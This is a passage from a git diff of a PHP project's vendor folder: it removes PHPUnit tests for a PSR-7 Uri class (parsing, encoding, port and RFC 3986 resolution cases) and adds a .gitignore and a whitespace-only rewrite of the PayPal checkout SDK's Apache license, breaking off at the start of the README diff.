$this->assertSame('user:pass@example.com:8080', $uri->getAuthority()); - $this->assertSame('user:pass', $uri->getUserInfo()); - $this->assertSame('example.com', $uri->getHost()); - $this->assertSame(8080, $uri->getPort()); - $this->assertSame('/path/123', $uri->getPath()); - $this->assertSame('q=abc', $uri->getQuery()); - $this->assertSame('test', $uri->getFragment()); - $this->assertSame('https://user:pass@example.com:8080/path/123?q=abc#test', (string) $uri); - } - - public function testCanTransformAndRetrievePartsIndividually() - { - $uri = (new Uri()) - ->withScheme('https') - ->withUserInfo('user', 'pass') - ->withHost('example.com') - ->withPort(8080) - ->withPath('/path/123') - ->withQuery('q=abc') - ->withFragment('test'); - - $this->assertSame('https', $uri->getScheme()); - $this->assertSame('user:pass@example.com:8080', $uri->getAuthority()); - $this->assertSame('user:pass', $uri->getUserInfo()); - $this->assertSame('example.com', $uri->getHost()); - $this->assertSame(8080, $uri->getPort()); - $this->assertSame('/path/123', $uri->getPath()); - $this->assertSame('q=abc', $uri->getQuery()); - $this->assertSame('test', $uri->getFragment()); - $this->assertSame('https://user:pass@example.com:8080/path/123?q=abc#test', (string) $uri); - } - - /** - * @dataProvider getValidUris - */ - public function testValidUrisStayValid($input) - { - $uri = new Uri($input); - - $this->assertSame($input, (string) $uri); - } - - public function getValidUris() - { - return [ - ['urn:path-rootless'], - ['urn:path:with:colon'], - ['urn:/path-absolute'], - ['urn:/'], - // only scheme with empty path - ['urn:'], - // only path - ['/'], - ['relative/'], - ['0'], - // same document reference - [''], - // network path without scheme - ['//example.org'], - ['//example.org/'], - ['//example.org?q#h'], - // only query - ['?q'], - ['?q=abc&foo=bar'], - // only fragment - ['#fragment'], - // dot segments are not removed automatically - ['./foo/../bar'], - ]; - } - - /** - * @dataProvider getInvalidUris - */ - public function testInvalidUrisThrowException($invalidUri) - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('Unable to parse URI'); - - new Uri($invalidUri); - } - - public function getInvalidUris() - { - return [ - // parse_url() requires the host component which makes sense for http(s) - // but not when the scheme is not known or different. So '//' or '///' is - // currently invalid as well but should not according to RFC 3986. - ['http://'], - ['urn://host:with:colon'], // host cannot contain ":" - ]; - } - - public function testPortMustBeValid() - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('Invalid port: 100000. Must be between 0 and 65535'); - - (new Uri())->withPort(100000); - } - - public function testWithPortCannotBeNegative() - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('Invalid port: -1. Must be between 0 and 65535'); - - (new Uri())->withPort(-1); - } - - public function testParseUriPortCannotBeNegative() - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('Unable to parse URI'); - - new Uri('//example.com:-1'); - } - - public function testParseUriPortCanBeZero() - { - if (version_compare(PHP_VERSION, '7.4.12') < 0) { - self::markTestSkipped('Skipping this on low PHP versions.'); - } - - $uri = new Uri('//example.com:0'); - $this->assertEquals(0, $uri->getPort()); - } - - public function testSchemeMustHaveCorrectType() - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('Scheme must be a string'); - - (new Uri())->withScheme([]); - } - - public function testHostMustHaveCorrectType() - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('Host must be a string'); - - (new Uri())->withHost([]); - } - - public function testPathMustHaveCorrectType() - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('Path must be a string'); - - (new Uri())->withPath([]); - } - - public function testQueryMustHaveCorrectType() - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('Query and fragment must be a string'); - - (new Uri())->withQuery([]); - } - - public function testFragmentMustHaveCorrectType() - { - $this->expectException(\InvalidArgumentException::class); - $this->expectExceptionMessage('Query and fragment must be a string'); - - (new Uri())->withFragment([]); - } - - public function testCanParseFalseyUriParts() - { - $uri = new Uri('0://0:0@0/0?0#0'); - - $this->assertSame('0', $uri->getScheme()); - $this->assertSame('0:0@0', $uri->getAuthority()); - $this->assertSame('0:0', $uri->getUserInfo()); - $this->assertSame('0', $uri->getHost()); - $this->assertSame('/0', $uri->getPath()); - $this->assertSame('0', $uri->getQuery()); - $this->assertSame('0', $uri->getFragment()); - $this->assertSame('0://0:0@0/0?0#0', (string) $uri); - } - - public function testCanConstructFalseyUriParts() - { - $uri = (new Uri()) - ->withScheme('0') - ->withUserInfo('0', '0') - ->withHost('0') - ->withPath('/0') - ->withQuery('0') - ->withFragment('0'); - - $this->assertSame('0', $uri->getScheme()); - $this->assertSame('0:0@0', $uri->getAuthority()); - $this->assertSame('0:0', $uri->getUserInfo()); - $this->assertSame('0', $uri->getHost()); - $this->assertSame('/0', $uri->getPath()); - $this->assertSame('0', $uri->getQuery()); - $this->assertSame('0', $uri->getFragment()); - $this->assertSame('0://0:0@0/0?0#0', (string) $uri); - } - - public function getResolveTestCases() - { - return [ - [self::RFC3986_BASE, 'g:h', 'g:h'], - [self::RFC3986_BASE, 'g', 'http://a/b/c/g'], - [self::RFC3986_BASE, './g', 'http://a/b/c/g'], - [self::RFC3986_BASE, 'g/', 'http://a/b/c/g/'], - [self::RFC3986_BASE, '/g', 'http://a/g'], - [self::RFC3986_BASE, '//g', 'http://g'], - [self::RFC3986_BASE, '?y', 'http://a/b/c/d;p?y'], - [self::RFC3986_BASE, 'g?y', 'http://a/b/c/g?y'], - [self::RFC3986_BASE, '#s', 'http://a/b/c/d;p?q#s'], - [self::RFC3986_BASE, 'g#s', 'http://a/b/c/g#s'], - [self::RFC3986_BASE, 'g?y#s', 'http://a/b/c/g?y#s'], - [self::RFC3986_BASE, ';x', 'http://a/b/c/;x'], - [self::RFC3986_BASE, 'g;x', 'http://a/b/c/g;x'], - [self::RFC3986_BASE, 'g;x?y#s', 'http://a/b/c/g;x?y#s'], - [self::RFC3986_BASE, '', self::RFC3986_BASE], - [self::RFC3986_BASE, '.', 'http://a/b/c/'], - [self::RFC3986_BASE, './', 'http://a/b/c/'], - [self::RFC3986_BASE, '..', 'http://a/b/'], - [self::RFC3986_BASE, '../', 'http://a/b/'], - [self::RFC3986_BASE, '../g', 'http://a/b/g'], - [self::RFC3986_BASE, '../..', 'http://a/'], - [self::RFC3986_BASE, '../../', 'http://a/'], - [self::RFC3986_BASE, '../../g', 'http://a/g'], - [self::RFC3986_BASE, '../../../g', 'http://a/g'], - [self::RFC3986_BASE, '../../../../g', 'http://a/g'], - [self::RFC3986_BASE, '/./g', 'http://a/g'], - [self::RFC3986_BASE, '/../g', 'http://a/g'], - [self::RFC3986_BASE, 'g.', 'http://a/b/c/g.'], - [self::RFC3986_BASE, '.g', 'http://a/b/c/.g'], - [self::RFC3986_BASE, 'g..', 'http://a/b/c/g..'], - [self::RFC3986_BASE, '..g', 'http://a/b/c/..g'], - [self::RFC3986_BASE, './../g', 'http://a/b/g'], - [self::RFC3986_BASE, 'foo////g', 'http://a/b/c/foo////g'], - [self::RFC3986_BASE, './g/.', 'http://a/b/c/g/'], - [self::RFC3986_BASE, 'g/./h', 'http://a/b/c/g/h'], - [self::RFC3986_BASE, 'g/../h', 'http://a/b/c/h'], - [self::RFC3986_BASE, 'g;x=1/./y', 'http://a/b/c/g;x=1/y'], - [self::RFC3986_BASE, 'g;x=1/../y', 'http://a/b/c/y'], - // dot-segments in the query or fragment - [self::RFC3986_BASE, 'g?y/./x', 'http://a/b/c/g?y/./x'], - [self::RFC3986_BASE, 'g?y/../x', 'http://a/b/c/g?y/../x'], - [self::RFC3986_BASE, 'g#s/./x', 'http://a/b/c/g#s/./x'], - [self::RFC3986_BASE, 'g#s/../x', 'http://a/b/c/g#s/../x'], - [self::RFC3986_BASE, 'g#s/../x', 'http://a/b/c/g#s/../x'], - [self::RFC3986_BASE, '?y#s', 'http://a/b/c/d;p?y#s'], - ['http://a/b/c/d;p?q#s', '?y', 'http://a/b/c/d;p?y'], - ['http://u@a/b/c/d;p?q', '.', 'http://u@a/b/c/'], - ['http://u:p@a/b/c/d;p?q', '.', 'http://u:p@a/b/c/'], - ['http://a/b/c/d/', 'e', 'http://a/b/c/d/e'], - ['urn:no-slash', 'e', 'urn:e'], - // falsey relative parts - [self::RFC3986_BASE, '//0', 'http://0'], - [self::RFC3986_BASE, '0', 'http://a/b/c/0'], - [self::RFC3986_BASE, '?0', 'http://a/b/c/d;p?0'], - [self::RFC3986_BASE, '#0', 'http://a/b/c/d;p?q#0'], - ]; - } - - public function testSchemeIsNormalizedToLowercase() - { - $uri = new Uri('HTTP://example.com'); - - $this->assertSame('http', $uri->getScheme()); - $this->assertSame('http://example.com', (string) $uri); - - $uri = (new Uri('//example.com'))->withScheme('HTTP'); - - $this->assertSame('http', $uri->getScheme()); - $this->assertSame('http://example.com', (string) $uri); - } - - public function testHostIsNormalizedToLowercase() - { - $uri = new Uri('//eXaMpLe.CoM'); - - $this->assertSame('example.com', $uri->getHost()); - $this->assertSame('//example.com', (string) $uri); - - $uri = (new Uri())->withHost('eXaMpLe.CoM'); - - $this->assertSame('example.com', $uri->getHost()); - $this->assertSame('//example.com', (string) $uri); - } - - public function testPortIsNullIfStandardPortForScheme() - { - // HTTPS standard port - $uri = new Uri('https://example.com:443'); - $this->assertNull($uri->getPort()); - $this->assertSame('example.com', $uri->getAuthority()); - - $uri = (new Uri('https://example.com'))->withPort(443); - $this->assertNull($uri->getPort()); - $this->assertSame('example.com', $uri->getAuthority()); - - // HTTP standard port - $uri = new Uri('http://example.com:80'); - $this->assertNull($uri->getPort()); - $this->assertSame('example.com', $uri->getAuthority()); - - $uri = (new Uri('http://example.com'))->withPort(80); - $this->assertNull($uri->getPort()); - $this->assertSame('example.com', $uri->getAuthority()); - } - - public function testPortIsReturnedIfSchemeUnknown() - { - $uri = (new Uri('//example.com'))->withPort(80); - - $this->assertSame(80, $uri->getPort()); - $this->assertSame('example.com:80', $uri->getAuthority()); - } - - public function testStandardPortIsNullIfSchemeChanges() - { - $uri = new Uri('http://example.com:443'); - $this->assertSame('http', $uri->getScheme()); - $this->assertSame(443, $uri->getPort()); - - $uri = $uri->withScheme('https'); - $this->assertNull($uri->getPort()); - } - - public function testPortPassedAsStringIsCastedToInt() - { - $uri = (new Uri('//example.com'))->withPort('8080'); - - $this->assertSame(8080, $uri->getPort(), 'Port is returned as integer'); - $this->assertSame('example.com:8080', $uri->getAuthority()); - } - - public function testPortCanBeRemoved() - { - $uri = (new Uri('http://example.com:8080'))->withPort(null); - - $this->assertNull($uri->getPort()); - $this->assertSame('http://example.com', (string) $uri); - } - - public function testAuthorityWithUserInfoButWithoutHost() - { - $uri = (new Uri())->withUserInfo('user', 'pass'); - - $this->assertSame('user:pass', $uri->getUserInfo()); - $this->assertSame('', $uri->getAuthority()); - } - - public function uriComponentsEncodingProvider() - { - $unreserved = 'a-zA-Z0-9.-_~!$&\'()*+,;=:@'; - - return [ - // Percent encode spaces - ['/pa th?q=va lue#frag ment', '/pa%20th', 'q=va%20lue', 'frag%20ment', '/pa%20th?q=va%20lue#frag%20ment'], - // Percent encode multibyte - ['/€?€#€', '/%E2%82%AC', '%E2%82%AC', '%E2%82%AC', '/%E2%82%AC?%E2%82%AC#%E2%82%AC'], - // Don't encode something that's already encoded - ['/pa%20th?q=va%20lue#frag%20ment', '/pa%20th', 'q=va%20lue', 'frag%20ment', '/pa%20th?q=va%20lue#frag%20ment'], - // Percent encode invalid percent encodings - ['/pa%2-th?q=va%2-lue#frag%2-ment', '/pa%252-th', 'q=va%252-lue', 'frag%252-ment', '/pa%252-th?q=va%252-lue#frag%252-ment'], - // Don't encode path segments - ['/pa/th//two?q=va/lue#frag/ment', '/pa/th//two', 'q=va/lue', 'frag/ment', '/pa/th//two?q=va/lue#frag/ment'], - // Don't encode unreserved chars or sub-delimiters - ["/$unreserved?$unreserved#$unreserved", "/$unreserved", $unreserved, $unreserved, "/$unreserved?$unreserved#$unreserved"], - // Encoded unreserved chars are not decoded - ['/p%61th?q=v%61lue#fr%61gment', '/p%61th', 'q=v%61lue', 'fr%61gment', '/p%61th?q=v%61lue#fr%61gment'], - ]; - } - - /** - * @dataProvider uriComponentsEncodingProvider - */ - public function testUriComponentsGetEncodedProperly($input, $path, $query, $fragment, $output) - { - $uri = new Uri($input); - $this->assertSame($path, $uri->getPath()); - $this->assertSame($query, $uri->getQuery()); - $this->assertSame($fragment, $uri->getFragment()); - $this->assertSame($output, (string) $uri); - } - - public function testWithPathEncodesProperly() - { - $uri = (new Uri())->withPath('/baz?#€/b%61r'); - // Query and fragment delimiters and multibyte chars are encoded. - $this->assertSame('/baz%3F%23%E2%82%AC/b%61r', $uri->getPath()); - $this->assertSame('/baz%3F%23%E2%82%AC/b%61r', (string) $uri); - } - - public function testWithQueryEncodesProperly() - { - $uri = (new Uri())->withQuery('?=#&€=/&b%61r'); - // A query starting with a "?" is valid and must not be magically removed. Otherwise it would be impossible to - // construct such an URI. Also the "?" and "/" does not need to be encoded in the query. - $this->assertSame('?=%23&%E2%82%AC=/&b%61r', $uri->getQuery()); - $this->assertSame('??=%23&%E2%82%AC=/&b%61r', (string) $uri); - } - - public function testWithFragmentEncodesProperly() - { - $uri = (new Uri())->withFragment('#€?/b%61r'); - // A fragment starting with a "#" is valid and must not be magically removed. Otherwise it would be impossible to - // construct such an URI. Also the "?" and "/" does not need to be encoded in the fragment. - $this->assertSame('%23%E2%82%AC?/b%61r', $uri->getFragment()); - $this->assertSame('#%23%E2%82%AC?/b%61r', (string) $uri); - } - - public function testAllowsForRelativeUri() - { - $uri = (new Uri())->withPath('foo'); - $this->assertSame('foo', $uri->getPath()); - $this->assertSame('foo', (string) $uri); - } - - public function testAddsSlashForRelativeUriStringWithHost() - { - // If the path is rootless and an authority is present, the path MUST - // be prefixed by "/". - $uri = (new Uri())->withPath('foo')->withHost('example.com'); - $this->assertSame('foo', $uri->getPath()); - // concatenating a relative path with a host doesn't work: "//example.comfoo" would be wrong - $this->assertSame('//example.com/foo', (string) $uri); - } - - public function testRemoveExtraSlashesWihoutHost() - { - // If the path is starting with more than one "/" and no authority is - // present, the starting slashes MUST be reduced to one. - $uri = (new Uri())->withPath('//foo'); - $this->assertSame('//foo', $uri->getPath()); - // URI "//foo" would be interpreted as network reference and thus change the original path to the host - $this->assertSame('/foo', (string) $uri); - } - - public function testDefaultReturnValuesOfGetters() - { - $uri = new Uri(); - - $this->assertSame('', $uri->getScheme()); - $this->assertSame('', $uri->getAuthority()); - $this->assertSame('', $uri->getUserInfo()); - $this->assertSame('', $uri->getHost()); - $this->assertNull($uri->getPort()); - $this->assertSame('', $uri->getPath()); - $this->assertSame('', $uri->getQuery()); - $this->assertSame('', $uri->getFragment()); - } - - public function testImmutability() - { - $uri = new Uri(); - - $this->assertNotSame($uri, $uri->withScheme('https')); - $this->assertNotSame($uri, $uri->withUserInfo('user', 'pass')); - $this->assertNotSame($uri, $uri->withHost('example.com')); - $this->assertNotSame($uri, $uri->withPort(8080)); - $this->assertNotSame($uri, $uri->withPath('/path/123')); - $this->assertNotSame($uri, $uri->withQuery('q=abc')); - $this->assertNotSame($uri, $uri->withFragment('test')); - } - - public function testUtf8Host() - { - $uri = new Uri('http://ουτοπία.δπθ.gr/'); - $this->assertSame('ουτοπία.δπθ.gr', $uri->getHost()); - $new = $uri->withHost('程式设计.com'); - $this->assertSame('程式设计.com', $new->getHost()); - - $testDomain = 'παράδειγμα.δοκιμή'; - $uri = (new Uri())->withHost($testDomain); - $this->assertSame($testDomain, $uri->getHost()); - $this->assertSame('//' . $testDomain, (string) $uri); - } -} diff --git a/vendor/paypal/paypal-checkout-sdk/.gitignore b/vendor/paypal/paypal-checkout-sdk/.gitignore new file mode 100644 index 0000000000..4c36e385c9 --- /dev/null +++ b/vendor/paypal/paypal-checkout-sdk/.gitignore @@ -0,0 +1,2 @@ +.idea/ +vendor/ diff --git a/vendor/paypal/paypal-checkout-sdk/LICENSE b/vendor/paypal/paypal-checkout-sdk/LICENSE index 3579f23b77..a20bbb15ff 100644 --- a/vendor/paypal/paypal-checkout-sdk/LICENSE +++ b/vendor/paypal/paypal-checkout-sdk/LICENSE @@ -1,201 +1,201 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "{}" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright 2016 PayPal - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "{}" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright 2016 PayPal + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/vendor/paypal/paypal-checkout-sdk/README.md b/vendor/paypal/paypal-checkout-sdk/README.md index e52726e5ff..7b4cc2f808 100644 --- a/vendor/paypal/paypal-checkout-sdk/README.md +++ b/vendor/paypal/paypal-checkout-sdk/README.md @@ -1,175 +1,175 @@ -# REST API 